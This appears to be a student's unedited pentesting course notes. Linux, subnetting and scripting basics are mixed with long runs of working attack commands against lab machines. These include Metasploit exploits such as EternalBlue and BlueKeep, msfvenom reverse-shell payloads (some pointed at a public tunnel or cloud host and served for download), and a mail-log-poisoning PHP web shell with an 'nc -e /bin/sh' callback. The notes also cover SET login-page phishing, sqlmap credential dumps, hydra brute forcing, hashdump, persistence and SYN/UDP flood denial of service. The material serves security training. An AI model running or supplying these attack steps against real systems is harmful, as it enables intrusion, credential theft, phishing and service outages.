24 10 2024 - CSP
24 10 2024 - CSP
https://www.virtualbox.org/wiki/Downloads
Virtualboxextenstionpacknc-
https://www.virtualbox.org/wiki/Downloads
https://cdimage.kali.org/kali-2024.2/kali-linux-2024.2-installer-amd64.iso
Metsplotiable2:-
https://sourceforge.net/projects/metasploitable/files/latest/download
Windows7:-
https://drive.google.com/file/d/13vNXD2TatqYtYAxDLDP5HvOY8gtra-ny/view?usp=drive_link
Basicpentestingctf:-
https://drive.google.com/file/d/1wkfI9cpyjouj6ox_88EqF6tKMtTHIYC1/view
Tryhackme:-
https://drive.google.com/file/d/1ZGIJW0nH5hUdTjdXsWpqruyTplBo6oR5/view?usp=sharing
HSBox1:-
https://drive.google.com/file/d/1i40AESTy0fMdoi6_v92M4OJUgs6o7YMx/view?usp=sharing
KBVuln:-
https://drive.google.com/drive/folders/1o8eP-vh7tHa82R1RDc-baKDx9pxvFqOx
Wintermute1:-
https://drive.google.com/open?id=1bHgdx0iI24jv7MDzKcrIPtd9rVFaVokR
Anydesk Download
https://anydesk.com/en
Alternative Remote access tools
Teamviewer:-
https://download.teamviewer.com/download/TeamViewerQS_x64.exe
Rustdesk:-
https://github.com/rustdesk/rustdesk/releases/download/1.2.3-1/rustdesk-1.2.3-1-x86_64.exe
kiran.m@cartelsoftware.com
pwd
ls
cd
mkdir
/root
/home
vikram:x:1001:1001::/home/vikram:/bin/sh
username:password:uid:gid:full name:home dir:login access
useradd sai
cat /etc/passwd
passwd sai
su sai
$whoami
groupadd hr
cat /etc/group
rm -rf test123
r=4
w=2
x=1
r-- = 4
r-x = 5
rw- =4+2=6
rwx =4+2+1=7
--x =1
rwxr--r-x=745
r--rw-rwx=467
r-xr--rwx=547
rwxrw-r--=764
r=4,w=2,x=1
create 3 dir with name
dir1 = r--rwx--x = 471
dir2 = rwx---rw- = 706
dir3 = rwx-wx-wx = 733
ugo
u=owner
g=group
o=other
+ --> add
- --> remove
= --> exact
rwx
create 3 dir
winner = rwxr-xrw-
winner2 = r--rw-rwx
dinner = r---wxr-x
apt update
apt list
apt search vlc
apt install vlc
apt remove vlc
apt upgrade
apt install --only-upgrade vlc
fdisk -l
fdisk /dev/sdb
mkfs.ext4 /dev/sdc1
ps aux
msfconsole
cd /etc/init.d/
ls -lh
bzip2 <filename>
bunzip2 <filename.bz2>
gzip <filename>
gunzip <filename.gz>
compress <filename>
uncompress <filename.Z>
https://parrotsec.org/download/
touch new.txt
alt+a to select
alt +6 to copy
ctrl+v to paste
ctrl+k to cut
ctrl+w to search
ctrl+r to replace
ctrl+x to exit
lscpu
lsmem
lsblk
lspci
apt install hwinfo
hwinfo
https://fedoraproject.org/workstation/download
yum update
apt install synaptic
yum update
yum list
yum search mousepad
yum install mousepad
yum remove vlc
yum list | grep installed
yum list | grep vlc
yum upgrade
yum install --only-upgrade vlc
hostname
hostnamectl
uname
uname -a
whoami
id
df -h
history
man <command name> #help
CLASS C
NETWORK BITS:- 24 HOST BITS:- 8
SUBNET MASK:- 255.255.255.0/24
REQ=50
2^0-2>=50
-1>=50
2^1-2>=50
0>=50
2^2-2>=50
2>=50
2^6-2>=50
64-2>=50
62>=50
k=h
h=6
NO OF NETWORK BITS REQ (n)= TOTAL NO OF HOST BITS - REQ HOST BITS
n=H-h
n=8-6
n=2
200.10.20.25
200.10.20.0
200.10.20.1
200.10.20.2
200.10.20.62
200.10.20.63
200.10.20.64
200.10.20.127
200.10.20.128
200.10.20.191
200.10.20.192
200.10.20.255
255.255.255.192
REQ=10
CLASS C
N=24 H=8 N.N.N.H/24 255.255.255.0
h=2^k-2>=REQ
2^0-2>=10
-1>=10
2^1-2>=10
0>=10
2^2-2>=10
2>=10
2^3-2>=10
6>=10
2^4-2>=10
14>=10
h=4
n=H-h
n=8-4
n=4
SUBNET MASK=24+n
=24+4
=28
=255.255.255.240
195.50.100.200
195.50.100.0
195.50.100.15
195.50.100.16
195.50.100.31
195.50.100.32
195.50.100.47
192.50.100.255
REQ=5
CLASS A
N=8 H=24 N.H.H.H/8 255.0.0.0
h=2^k-2>=REQ
2^2-2>=5
2>=5
2^3-2>=5
6>=5
h=3
n=H-h
=24-3
n=21
SUBNET=8+n
8+21=29
11111111.111111111.11111111.11111000
255.255.255.248
100.20.35.55
100.0.0.0
100.0.0.7
100.0.0.8
100.0.0.15
100.255.255.255
https://www.calculator.net/ip-subnet-calculator.html
iptables -L
iptables -A OUTPUT -p tcp --dport 80 -j DROP
iptables -L
iptables -D OUTPUT -p tcp --dport 80 -j DROP
iptables -L
iptables -L
iptables -A OUTPUT -p tcp -s 192.168.1.96 -d 44.228.249.3 --dport 80 -j DROP
iptables -L
iptables -D OUTPUT -p tcp -s 192.168.1.96 -d 44.228.249.3 --dport 80 -j DROP
iptables -L
apt update
apt install vsftpd
service vsftpd start
window 7
open powershell
ftp <kali ip>
ftp 192.168.1.66
reboot
apt update
apt install iptables-persistent
iptables -L
cat /etc/iptables/rules.v4
iptables -A INPUT -p tcp -s 192.168.1.18 -d 192.168.1.66 --dport 80 -j DROP
iptables-save > /etc/iptables/rules.v4
cat /etc/iptables/rules.v4
update-rc.d netfilter-persistent enable
reboot
iptables -L
apt update
apt install snort
touch new.rules
mousepad new.rules
alert icmp 192.168.1.18 any -> 192.168.1.66 any (msg:"ICMP FROM WINDOWS 7
OS";sid:1000000001)
alert tcp 192.168.1.66 any -> 44.228.249.3 80 (msg:"ACCESSING TESTPHP
WEBSITE";sid:1000000002)
ctrl+s
<action> <protocol type> <src ip> <src port> <direction> <dst ip> <dst port> (msg:"YOUR
WISH";sid:100000000001)
In Kali
nessus download
https://www.tenable.com/downloads/nessus?loginAttempted=true
Linux-Ubuntu-amd64
cd /root/Downloads
dpkg -i Nessus-10.7.5-ubuntu1604_amd64.deb
service nessusd start
In browser
https://127.0.0.1:8834
test123@mailinator.com
Attacker can access data comp,no modification of data,service not avaiable to anyone
ip r
fping -h
fping -g 192.168.1.0/24
fping -g 192.168.1.0/24 -a -q
arp-scan 192.168.1.0/24
netdiscover -i eth0
cd Downloads
ls
dpkg -i ipscan_3.9.1_amd64.deb
ipscan
nmap -h
nmap -sn 192.168.1.1
nmap -sn 192.168.1.1 192.168.1.55
nmap -sn 192.168.1.1 192.168.1.55 192.168.1.2
nmap -sn 8.8.8.8
nmap -sn amazon.in
nmap -sn amazon.in 8.8.8.8 192.168.1.1
nmap -sn 192.168.1.0/24
nmap -sn 192.168.1.50-111
ping -6 facebook.com
nmap -6 -sn google.com
nmap -6 -sn 2a03:2880:f137:182:face:b00c:0:25de
mousepad ip.txt
nmap -sn -iL ip.txt
cat ip.txt
FIN SCAN
-sF
OPEN - NO RESPONSE
CLOSE - RESPONSE
XMAS SCAN
-sX
URG,PUH,FIN
OPEN - NO RESPONSE
CLOSE - RESPONSE
-v
-vv (#print more info)
Metasploitable download
https://sourceforge.net/projects/metasploitable/files/latest/download
HSBOX1 download
https://drive.google.com/file/d/1i40AESTy0fMdoi6_v92M4OJUgs6o7YMx/view?usp=drive_link
updatedb
locate *.nse
https://nmap.org/nsedoc/categories/
auth
broadcast
brute
default
discovery
dos
exploit
external
fuzzer
intrusive
malware
safe
version
vuln
nmap -A 192.168.1.30
-A=-sV -sC -O
https://weakpass.com/
https://github.com/danielmiessler/SecLists
cd /usr/share/wordlists
touch username.txt
touch password.txt
mousepad username.txt
mousepad password.txt
HSBOX1
nmap,hydra,crunch,cewl
nmap 192.168.1.17
nmap 192.168.1.17 -p-
nmap 192.168.1.17 -p 21,1515,3535 -sV
locate *.nse | grep ftp
nmap --script /usr/share/nmap/scripts/ftp-anon.nse -sV -p 21 192.168.1.17
ftp 192.168.1.17
ftp>ls
ftp>get note.txt
ftp>quit
cat note.txt
cewl http://192.168.1.17:1515 -w wordlist1.txt
cat wordlist1.txt
hydra -l jack -P /root/wordlist1.txt 192.168.1.17 ssh -s 3535 -V
ssh jack@192.168.1.17
password Cyberspace
password ca51
info gart
theHarvester -d certifiedhacker.com -l 1000 -b hackertarget
apt update
apt install subfinder
subfinder -d certifiedhacker.com
dig sftp.certifiedhacker.com
/usr/share/metasploit-framework/modules/
msfconsole
msf6>search ftp
msf6>search ftp type:auxiliary
msf6>info auxiliary/scanner/ftp/anonymous
msf6>use auxiliary/scanner/ftp/anonymous
msf6 auxiliary(scanner/ftp/anonymous) >show options
msf6 auxiliary(scanner/ftp/anonymous) >set RHOSTS 192.168.0.148
msf6 auxiliary(scanner/ftp/anonymous) >show options
msf6 auxiliary(scanner/ftp/anonymous) >run
msfconsole
search vsftp type:exploit
info exploit/unix/ftp/vsftpd_234_backdoor
use exploit/unix/ftp/vsftpd_234_backdoor
show payloads
info payload/cmd/unix/interact
show options
set RHOSTS 192.168.0.148
show options
run
sessions
sessions -i 1
sessions
ctrl+c abort
ctrl+z background
search unrealirc
use exploit/unix/irc/unreal_ircd_3281_backdoor
show payloads
set payload payload/cmd/unix/bind_perl
show options
set RHOST 192.168.0.148
set LPORT 4567
show options
exploit
show payloads
set payload payload/cmd/unix/reverse_ruby
show options
set LHOST 192.168.0.139
set LPORT 4568
show options
exploit
sessions
show payloads
use payload/cmd/unix/reverse
show options
search unrealirc
use exploit/unix/irc/unreal_ircd_3281_backdoor
show payloads
set payload payload/cmd/unix/reverse
show options
set LPORT 4569
exploit
show payloads
msfconsole
search proft
search proft type:exploit
info exploit/unix/ftp/proftpd_133c_backdoor
use exploit/unix/ftp/proftpd_133c_backdoor
show payloads
set payload payload/cmd/unix/reverse
show options
set RHOSTS 192.168.0.159
ip a
set LHOST 192.168.0.139
show options
show missing
set LPORT 4569
exploit
ip r
nmap -sn 192.168.0.0/24
ssh jamesbond@192.168.0.177
password: butterfly
https://gtfobins.github.io/
sudo -l
sudo ftp
!/bin/sh
nmap 192.168.0.107
nmap 192.168.0.107 -A
nmap --script smb-* -p 445 -sV 192.168.0.107
searchsploit ms17-010
msfconsole
search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 192.168.0.107
set LHOST 192.168.0.159
set LPORT 4567
show options
exploit
meterpreter>sysinfo
TARGET 1: 192.168.0.108
192.168.100.102
TARGET 2: 192.168.100.117
msfconsole
search ssh type:auxiliary
use auxiliary/scanner/ssh/ssh_login
show options
set RHOSTS 192.168.0.108(target 1 BA)
set USERNAME msfadmin
set PASSWORD msfadmin
exploit
sessions
sessions -u 1
sessions
search autoroute
info post/multi/manage/autoroute
use post/multi/manage/autoroute
show options
sessions
set SESSION 2
show options
run
route
msfconsole
search hta_server
use exploit/windows/misc/hta_server
show payloads
set payload windows/x64/meterpreter/reverse_tcp
show options
set LPORT 4567
show targets
set target 1
show options
exploit -j
jobs
sessions
sessions -i 1
msfconsole
search hta_server
use exploit/windows/misc/hta_server
show payloads
set payload windows/x64/meterpreter/reverse_tcp
show options
set LPORT 4567
show targets
set target 1
show options
exploit -j
jobs
sessions
sessions -i 1
meterpreter
create a dir in c:\ name demo123
hashdump
msfconsole
search hta_server
use exploit/windows/misc/hta_server
set payload windows/x64/meterpreter/reverse_tcp
show options
set LPORT 4567
show targets
set TARGET 1
show options
exploit -j
sessions
meterpreter>background
search bypassuac
use exploit/windows/local/bypassuac
set PAYLOAD windows/x64/meterpreter/reverse_tcp
show options
sessions
set SESSION 1
set LPORT 4569
show targets
set target 1
exploit
sessions
sessions -i 2
meterpreter > shell
Process 744 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
search persistence
use exploit/windows/local/persistence
set payload payload/windows/meterpreter/reverse_tcp
show options
set session 2
set LPORT 4499
exploit -j
use multi/handler
set payload windows/meterpreter/reverse_tcp
show options
set LHOST 192.168.0.110
set LPORT 4499
exploit -j
msfconsole
search web_delivery
use exploit/multi/script/web_delivery
show targets
set target 2
show payloads
set payload payload/windows/x64/meterpreter/reverse_tcp
show options
set LHOST 192.168.0.110
set LPORT 4569
show options
exploit -j
open mousepad
copy and paste the command and save thr file with .bat extension
ufile.io
file uploader without reg
download in windows
msfvenom
msfvenom --list platforms
msfvenom --list payloads
msfvenom --list payloads | grep android
msfvenom --list payloads | grep windows
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.110 LPORT=4569
--platform windows -f exe -o /root/Desktop/winp.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.110 LPORT=4569 -f exe
-o /root/Desktop/winp1.exe
msfconsole
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
show options
set LHOST 192.168.0.122
set LPORT 4566
exploit -j
sessions
sessions -i 1
https://ufile.io
msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.0.122 LPORT=5669 -f elf -o
/root/Desktop/linuxms.elf
msfconsole
use multi/handler
set payload linux/x86/shell/reverse_tcp
set LHOST 192.168.0.122
set LPORT 5669
exploit -j
sessions
sessions -i 1
NEW TERMINAL
cd Desktop
python -m http.server 8999
IN TARGET
http://192.168.0.122:8999/linuxms.elf
chmod +x linuxms.elf
./linuxms.elf
msfconsole
meterpreter >background
sessions
search autoroute
use post/multi/manage/autoroute
show options
sessions
set session 1
run
route
search socks
info auxiliary/server/socks_proxy
use auxiliary/server/socks_proxy
show options
sessions
sessions -i 1
run
NEW TERMINAL
mousepad /etc/proxychains4.conf
REMOVE # in dynamic_chains
add # in strict_chain
END OF THE LINE
socks5 127.0.0.1 1080
ctrl+s
KALI : BA 192.168.0.122
WINDOWS7: BA,HA 192.168.0.175, 192.168.115.7
METASPLOIABLE2: HA 192.168.115.11
KALI IP:- BA
STRAYLIGHT: BA,HA
NEUROMANCER: HA
ip r
arp-scan 192.168.0.0/24
nmap -p 25,3000 --open 192.168.0.0/24
nmap 192.168.0.179 -A
http://192.168.0.179/turing-bolo
http://192.168.0.179/turing-bolo/bolo.php?bolo=/var/log/mail
TERMINAL
telnet 192.168.0.179 25
mail from:new4
250 2.1.0 Ok
rcpt to:root
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
<?php system($_GET["cmd"]);?>
.
250 2.0.0 Ok: queued as E669055A6
https://addons.mozilla.org/en-US/firefox/addon/hacktools/
http://192.168.0.179/turing-bolo/bolo.php?bolo=/var/log/mail&cmd=ls
RIGHT CLICK --> view source
kali terminal
nc -nlvp 5566
telnet 192.168.0.179 25
mail from:new4
250 2.1.0 Ok
rcpt to:root
250 2.1.5 Ok
subject:"<?php system($_GET["cmd"]);?>"
IN KALI
searchsploit screen 4.5.0
searchsploit -m linux/local/41154.sh
python -m http.server 8456
ifconfig
searchsploit -m linux/webapps/41570.py
python2 41570.py
python2 41570.py http://192.168.0.179:12001/struts2_2.3.15.1-showcase/showcase.action "ls
-l"
kingsmen\Administrator
Kali:- 192.168.0.175
server:- 192.168.0.200
client:- 192.168.0.201
msfconsole
search CVE-2017-0143
use exploit/windows/smb/ms17_010_eternalblue
show options
show missing
set RHOSTS 192.168.0.201
show options
set LPoRT 3344
show targets
exploit
search domain
search domain type:post
info post/windows/gather/enum_domain
use post/windows/gather/enum_domain
show options
sessions
set SESSION 1
run
msfconsole
search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 192.168.0.201
set LPORT 5522
show options
exploit
search ms17-010
use exploit/windows/smb/ms17_010_psexec
set payload windows/x64/meterpreter/reverse_tcp
show options
set RHOST 192.168.0.200
set LHOST 192.168.0.175
set LPORT 4567
exploit
cd shellcode
ls
./shell_prep.sh
kernel shellcode compiled, would you like to auto generate a reverse shell with msfvenom?
(Y/n)
y
LHOST for reverse connection:
192.168.0.175
LPORT you want x64 to listen on:
6677
LPORT you want x86 to listen on:
6688
Type 0 to generate a meterpreter shell or 1 to generate a regular cmd shell
1
Type 0 to generate a staged payload or 1 to generate a stageless payload
1
Generating x64 cmd shell (stageless)...
cd ..
ls -l
chmod u+x eternalblue*
ls -l
NEW TERMINAL
nc -nlvp 6677
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
show options
set LHOST 192.168.0.175
set LPORT 4567
exploit -j
sessions
sessions -i 1
search user_psex
use exploit/windows/local/current_user_psexec
set PAYLOAD windows/x64/meterpreter/reverse_tcp
show options
set RHOSTS 192.168.0.200
set SESSION 1
show options
set LPORT 5533
exploit
https://gofile.io/d/GvDbIZ
md5sum user.txt
sha1sum user.txt
sha256sum user.txt
https://www.quickhash-gui.org/downloads/
$1$ MD5
$5$ sha 256
$6$ sha 512
$2y$ eksblowfish
hash-identifier
john --list=formats
john --format=Raw-MD5 /root/hash1.txt
john --list=formats
john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA1 /root/hash2.txt
F1CF651CE1A2191A760C0B2F161234F7958E26E4 (rockyou)
4BC48E00300464D2670958AB3C8982EA (india123)
7C222FB2927D828AF22F592134E8932480637C0D (12345678)
https://crackstation.net/
cd /root/Desktop
ls
file win32.exe
file win64.exe
xxd -l 20 win32.exe
https://en.wikipedia.org/wiki/List_of_file_signatures
https://www.virustotal.com/gui/home/upload
md5sum win64.exe
sha1sun win64.exe
strings -a win64.exe
process hacker
netstat -ano
tasklist /v
Event viwer>Applications and Services Logs > Microsoft > Windows > Windows
Defender>operational
1000
1001
1006
1116
1117
New terminal
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=serveo.net LPORT=4599 -f exe -o
/root/Desktop/winwan1.exe
msfconsole
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4222
exploit -j
http://192.168.0.125:8080/dw7iNPS5.hta
(kali ip)
download in kali system and upload the file in gofile.io
In same console
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 9966
exploit -j
apt update
apt install tor
service tor start
mousepad /etc/proxychains4.conf
Remove # in dynamic_chains
add # in #strict_chain
End of line
socks5 127.0.0.1 9050
ip.addr==192.168.0.100
tcp
tcp.port==80
udp.port==53
1)type of attack
2)attacker ip address
cd /root/Downloads
ls
unzip vpnbook-openvpn-de20.zip
ls
cd vpnbook-openvpn-de20
openvpn vpnbook-de20-tcp80.ovpn
https://www.vpnbook.com/#google_vignette
https://protonvpn.com/support/official-linux-vpn-debian?srsltid=AfmBOoqJy93kwa8XPY946kOg
bMmLiulahSEIzJfaPhJ2DmHHo6elU-m4
wget
https://repo.protonvpn.com/debian/dists/stable/main/binary-all/protonvpn-stable-release_1.0.4_a
ll.deb
MY MAIL ID
https://download.vulnhub.com/gigachad/gigachad_vh.ova
https://github.com/bcoles/local-exploits/blob/master/CVE-2017-5899/exploit.sh
username:chad
password :maidenstower
https://www.ibm.com/docs/en/SS42VS_7.5/pdf/b_qradar_admin_guide.pdf
https://docs.splunk.com/Documentation
#!/bin/bash
#NMAP HOST DISCOVERY SCAN
echo "PERFORMING HOST ALIVE SCAN"
echo "PLEASE ENTER THE SCAN RANGE: "
read ip_range
nmap -sn $ip_range -oG out.txt
cat out.txt | grep Up > out1.txt
cat out1.txt | cut -d " " -f 2 > out2.txt
nmap -A 192.168.0.165
searchsploit drupal 7
searchsploit -m php/webapps/34992.py
python2 34992.py
python2 34992.py -t http://192.168.0.165 -u king -p 1234
msfconsole
search drupal
use exploit/multi/http/drupal_drupageddon
set RHOSTS 192.168.0.165
set LPORT 5566
exploit
bash -i
sudo -l
www-data@HackerSchool:/home/jack$ sudo -u harry find . -exec /bin/sh \; -quit
whoami
bash -i
find / -perm -u=s
harry@HackerSchool:/home/jack$ cd /usr/bin/What_are/you/_searching_/for?/
cd /usr/bin/What_are/you/_searching_/for?/
harry@HackerSchool:/usr/bin/What_are/you/_searching_/for?$ ls
ls
iamhere
harry@HackerSchool:/usr/bin/What_are/you/_searching_/for?$ ./iamhere
http://burp/
P1
admin
test
P2
1234
toor
admin 1234
admin toor
test 1234
test toor
192.168.1.100
192.168.1.200
msfconsole
use multi/handler
set payload php/reverse_php
set LHOST 192.168.0.155
set LPORT 4569
exploit -j
cd /usr/share/webshells/php
BURP SUITE
Content-Type: image/jpeg
http://192.168.0.146/dvwa/hackable/uploads/simple-backdoor.php?cmd=nc -e /bin/sh
192.168.0.155 4566
nc -nlvp 4566
cd /usr/share/webshells/php
mousepad php-reverse-shell.php
$ip = '192.168.0.155'; // CHANGE THIS
$port = 3344; // CHANGE THIS
filename="php-reverse-shell.php.jpg"
Content-Type: image/jpg
192.168.0.146/dvwa/hackable/uploads/php-reverse-shell.php.jpg
nc -nlvp 3344
apt update
apt install docker.io
docker pull bkimminich/juice-shop
http://127.0.0.1:3000/#/score-board
http://192.168.0.129/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#
http://192.168.0.129/dvwa/vulnerabilities/sqli/?id=2'&Submit=Submit#
admin,contact,department,external_link,library,menu,page,photo_album,photos,scroller,site,slid
er,students,students_attendance,tbl_admin,teacher_staff,teacher_staff_attendance,videos
sqlmap -u "http://192.168.0.135/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
--cookie="PHPSESSID=4de718548928f93c712620aeb487fb65;security=low" --dbs
sqlmap -u "http://192.168.0.135/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
--cookie="PHPSESSID=4de718548928f93c712620aeb487fb65;security=low" -D dvwa --tables
sqlmap -u "http://192.168.0.135/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
--cookie="PHPSESSID=4de718548928f93c712620aeb487fb65;security=low" -D dvwa -T users
--columns
sqlmap -u "http://192.168.0.135/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
--cookie="PHPSESSID=4de718548928f93c712620aeb487fb65;security=low" -D dvwa -T users
-C user,first_name,last_name,password,user_id --dump
jsql
apt update
apt install jsql
jsql
http://testphp.vulnweb.com/artists.php?artist=1
try on altoromutual.com
<script>alert("CSP XSS ATTACK")</script>
login to webpage admin:admin
<script>alert(document.cookie)</script>
<iframe src="https://hackerschool.in"></iframe>
nmap 192.168.0.150
nmap 192.168.0.150 -p 80 -A
dirb http://192.168.0.150
mousepad /etc/hosts
#EOF ADD
192.168.0.150 hackerschool.local
dirb http://hackerschool.local/
http://hackerschool.local/wp-admin
wpscan --url
"http://hackerschool.local/wp-login.php?redirect_to=http%3A%2F%2Fhackerschool.local%2Fwp
-admin%2F&reauth=1" -U admin -P /root/wordlist1.txt
Apperance-->editor--> 404.php
cd /usr/share/webshells/php
ls
mousepad php-reverse-shell.php
#REPLACE IP
hackerschool.local/wp-content/themes/twentyseventeen/404.php
nc -nlvp 1234
sudo -l
cd /var/www/html
sudo ./hs.sh
apt update
apt install zaproxy
http://192.168.0.114/mutillidae/index.php?page=text-file-viewer.php
apt update
apt install beef-xss
beef-xss
msfconsole
search synflood
use auxiliary/dos/tcp/synflood
set RHOSTS 192.168.0.114
exploit
hping3 -h
hping3 -S 192.168.0.114 -p 80 --flood
hping3 -S 192.168.0.114 -p 80 --flood --rand-source
nmap -p 53,67,161,514 -sU 192.168.0.114
hping3 -h
hping3 -2 -p 53 192.168.0.114 --flood
hping3 -2 -p 53 192.168.0.114 --flood --rand-source
msfconsole
search rdp type:auxiliary
use auxiliary/scanner/rdp/ms12_020_check
show options
set RHOSTS 192.168.0.165
run
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
show options
set RHOSTS 192.168.0.165
exploit
#include <stdio.h>
#include <string.h>
int main(void)
{
char buff[15];
int pass = 0;
if(strcmp(buff, "hacker"))
{
printf("\n worng password\n");
}
else
{
printf("\n Correct password\n");
}
}
nc 192.168.0.165 9999
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 700
search cve-2019-0708
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
show options
set RHOSTS 192.168.0.165
exploit
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
show options
set RHOSTS 192.168.0.165
set LPORT 4567
show options
show targets
set target 2
exploit
lbd flipkart.com
wafw00f https://hackerschool.in
jsmith
demo1234
cp msf.apk /var/www/html
service apache2 start
msfconsole
use multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.0.187
set LPORT 5566
exploit -j
IN ANDROID
192.168.0.187/msf.apk
cd msf
ls
mousepad AndroidManifest.xml
adb devices
adb connect 192.168.0.102:5555
adb devices
adb root
adb shell
x86_64:/ # logcat
https://gofile.io/d/wiEKQk
unzip -d test DivaApplication.apk
cd test
d2j-dex2jar classes.dex
jd-gui classes-dex2jar.jar
/data/data/jakhar.aseem.diva/shared_prefs
x86_64:/data/data/jakhar.aseem.diva/databases
sqlite3 ids2
sqlite> .tables
cd Downloads
chmod 400 CSP1.pem
ssh -i "CSP1.pem" kali@ec2-3-87-131-107.compute-1.amazonaws.com
sudo passwd root
su root
apt update
apt install apache2
service apache2 start
apt install msfpc
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=3.87.131.107 LPORT=5599 -f exe
-o /var/www/html/win.exe
setoolkit
1
2
3
2
KALI IP ADDRESS
URL
cd /etc/setoolkit
mousepad set.config
APACHE_SERVER=ON
ctrl+s
cd /var/www/html
rm -rf *
setoolkit
1
2
3
2
KALI IP ADDRESS
https://altoromutual.com/login.jsp
cd /var/www/html
ls
iwconfig
airmon-ng start wlan0
airodump-ng wlan0mon
msfconsole
use multi/handler
set payload python/meterpreter/reverse_tcp
set LHOST 192.168.0.187
set LPORT 4567
exploit -j
wget http://192.168.0.187:8000/rasp.py
chmod +x rasp.py
python rasp.py
touch pgm1.sh
mousepad pgm1.sh
#!/usr/bin/bash
echo "Hello World"
chmod +x pgm1.sh
./pgm1.sh
/usr/bin/bash pgm1.sh
#!/usr/bin/bash
echo "Hello World"
name=hackerschool
pincode=560041
echo $name $pincode
ip2=192.168.0.107
portno=22
echo "scanning for ip $ip2 on portnumber $portno"
user="`whoami`"
echo $user
user1=$(whoami)
echo $user1
10+5
$((...))
#!/bin/bash
result=$((num1+num2))
echo "The answer is $result"
#!/bin/bash
result=$(($1+$2))
echo "The answer is $result"
NOTE: ./add.sh 10 5
#!/bin/bash
num1=10
num2=5
result=$((num1+num2))
echo "The answer is $result"
#!/bin/bash
read -p "Enter the username:" username
read -sp "Enter the password:" password
if [ condition ]
then
perform
fi
if [ condition ]
then
perform
else
perform
fi
if [condition]
then
perform
elif [condition]
then
perform
else
perform
fi
#!/bin/bash
read -p "ENTER THE YEAR:" year
if [ $year -lt 2024 ]
then
echo "past"
elif [ $year -gt 2024 ]
then
echo "future"
else
echo "present"
fi
age<18 (YOUNG)
age>18 (ADULT)
age=18 (YOUNG AND ADULT) (-eq)
#!/bin/bash
read -p "ENTER THE age:" age
if [ $age -lt 18 ]
then
echo "YOUNG"
elif [ $age -eq 18 ]
then
echo "YOUNG AND ADULT"
else
echo "ADULT"
fi
for <var name> in <list>
do
<perform>
done
for i in 1 2 3 4 5
do
echo $i
done
#!/bin/bash
for word in {a..z}
do
echo $word
done
#!/bin/bash
for i in {1..2}
do
echo $i
done
#!/bin/bash
for ip in {100..150}
do
ping -c 1 192.168.0.$ip | grep "bytes from"
done
#!/bin/bash
echo "RUN SCRIPT USING COMMAND ./pingsweep.sh 192.168.0"
for ip in {100..150}
do
ping -c 1 $1.$ip | grep "bytes from"
done
#!/bin/bash
echo "ipaddress format:- 10.0.0"
echo "ENTER IP ADDRESS TO SCAN: "
read ipaddr
for ip in {100..150}
do
ping -c 1 $ipaddr.$ip | grep "bytes from"
done
#!/bin/bash
echo "ipaddress format:- 10.0.0"
echo "ENTER IP ADDRESS TO SCAN: "
read ipaddr
for ip in {100..150}
do
ping -c 1 $ipaddr.$ip | grep "bytes from" | cut -d " " -f 4 | tr -d ":"
done
#!/usr/bin/python
print ("Hello world")
print ('Hello world')
print (50+25)
print (23-5)
print (3*67)
print (15/3)
name="HACKERSCHOOL"
place="BANGALORE"
a="new"
b=22
#!/usr/bin/python
x=input("Enter the first number: ")
y=input("Enter the second number: ")
z=int(x)+int(y)
print ("THE RESULT IS " + str(z))
#!/usr/bin/python
port = ["80","8080","443","8443"]
print(port[1])
print(port[2])
print(port[0:4])
fruits = ["apple","orange","graps"]
print(fruits[2])
port.append("8081")
print(port)
port.remove("8080")
print(port)
if <condition>:
<perform>
else:
<perform>
if <condition>:
<perform>
elif <condition>:
<perform>
else:
<perform>
#!/usr/bin/python
num=input("Enter your age: ")
if int(num)>60:
print ("You are old")
else:
print ("you are adult")
#!/usr/bin/python
num=input("Enter your age: ")
if int(num)>60:
print ("You are old")
elif int(num)>=18:
print ("you are adult")
else:
print ("you are young")
#!/usr/bin/python
file=open ("/root/user.txt","r")
for line in file:
print(line)
#!/usr/bin/python
import sys
print (sys.version)
#!/usr/bin/python
import socket
host="127.0.0.1"
port=1234
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
nc -nlvp 1234
#!/usr/bin/python
import platform
import os
oper=platform.system()
if (oper=="Windows"):
ping="ping -n 1 "
else:
ping="ping -c 1 "
for ip in range(first_host,last_host):
addr = network_ip + str(ip)
command = ping + addr
response = os.popen(command)
list = response.readlines()
#!/usr/bin/python
def add (a,b):
print (int(a) + int(b))
x=input("enter a: ")
y=input("enter b: ")
add (x,y)
import socket
from datetime import datetime
if result == 0:
print(f"Port {port}: Open")
else:
print(f"Port {port}: Closed")
sock.close()
if __name__ == "__main__":
# Specify the target and port range
target_ip = input("Enter the target IP or hostname: ")
start_port = int(input("Enter the starting port: "))
end_port = int(input("Enter the ending port: "))